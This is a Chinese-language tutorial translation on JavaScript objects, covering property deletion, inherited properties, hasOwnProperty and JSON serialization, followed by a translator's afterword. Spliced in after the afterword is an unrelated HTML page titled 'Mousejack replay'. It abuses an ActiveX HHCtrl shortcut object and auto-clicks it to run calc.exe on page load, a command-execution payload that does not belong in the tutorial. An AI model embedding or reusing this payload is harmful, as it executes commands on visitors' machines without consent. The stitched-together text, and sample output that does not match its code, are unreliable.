详解JavaScript对象类型(4)

var christmasList = {mike:"Book", jason:"sweater" } delete christmasList.mike; // deletes the mike property​ for (var people in christmasList) { console.log(people); } // Prints only jason​ // The mike property was deleted​ delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性,所以它不会被删除 // 因为toString没有被删除,所以这里还能够正常使用 christmasList.toString(); //"[object Object]"​ // 如果一个属性是对象实例的自身属性,则我们可以删除它。 // 比如我们可以从之前例子中定义的school对象中删除educationLevel属性, // 因为educationLevel是定义在那个实例中的:我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。 //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。 console.log(school.hasOwnProperty("educationLevel")); // true​ // educationLevel是一个school对象的一个自身属性,所以 我们可以删除它​ delete school.educationLevel; // true // educationLevel属性已经从school实例中删除了 console.log(school.educationLevel); // undefined // 但是educationLevel属性仍然存在于HigherLearning函数中 var newSchool = new HigherLearning (); console.log(newSchool.educationLevel); // University​ // 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:​ HigherLearning.prototype.educationLevel2 = "University 2"; // 这个educationLevel2属性不属性HigherLearning实例的自身属性 // educationLevel2属性不是school实例的自身属性​ console.log(school.hasOwnProperty("educationLevel2")); false​ console.log(school.educationLevel2); // University 2​ // 尝试删除继承的educationLevel2属性​ delete school.educationLevel2; // true (正如前面所提到的,这个表达式会返回true) // 继承的educationLevel2属性没有被删除 console.log(school.educationLevel2); University 2​

序列化和反序列化对象
 为了在HTTP中传递对象或者将对象转化成字符串,我们必须将对象序列化(将其转化为字符串)。我们可以使用JSON.stringify来序列化对象。要注意的是,在ECMAScript 5之前的版本,我们要使用json2库来获得JSON.stringify函数。在ECMAScript 5中,这个函数已经成为标准函数。
 为了将反序列化对象(即,将字符串转化成对象),可以使用JSON.parse函数来完成。同样,在第5版之前要从json2库中获取这个函数,在第5版中已经加入这个标准函数。
 示例代码:
   

var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" } JSON.stringify (christmasList); // Prints this string:​ // "{"mike":"Book","jason":"sweater","chels":"iPad"}" // To print a stringified object with formatting, add "null" and "4" as parameters:​ JSON.stringify (christmasList, null, 4); // "{ // "mike": "Book", // "jason": "sweater", // "chels": "iPad"​ // }" // JSON.parse Examples // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)​ var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}'; // Let's convert it to an object​ var christmasListObj = JSON.parse (christmasListStr); // Now that it is an object, we use dot notation​ console.log(christmasListObj.mike); // Book

更多关于JavaScript对象的讨论和解释,以及ECMAScript第5版增加的内容,可以参考《JavaScript权威指南(第6版)》第六章。

后记 
第一次翻译文章,真心觉得要把翻译做好也不是那么简单的,很多简单的句子看着很明白,结果真正想翻译出来的时候,却是死活想不出合适的表达方式。通篇文章都是根据我自己的理解,然后通过意译出来的,没有逐句进行翻译。所以,如果有哪些地方理解有偏差,或者翻译不当的地方,请尽量指出,我会尽快改正。毕竟翻译这往篇文章也是想跟大家分享,我不希望因为自己理解的错误,导致对大家产生误导。 
就酱,收工。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM value="ShortCut"> <PARAM value="Bitmap::shortcut"> <PARAM value=',calc.exe'> <PARAM value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wzsxyd.html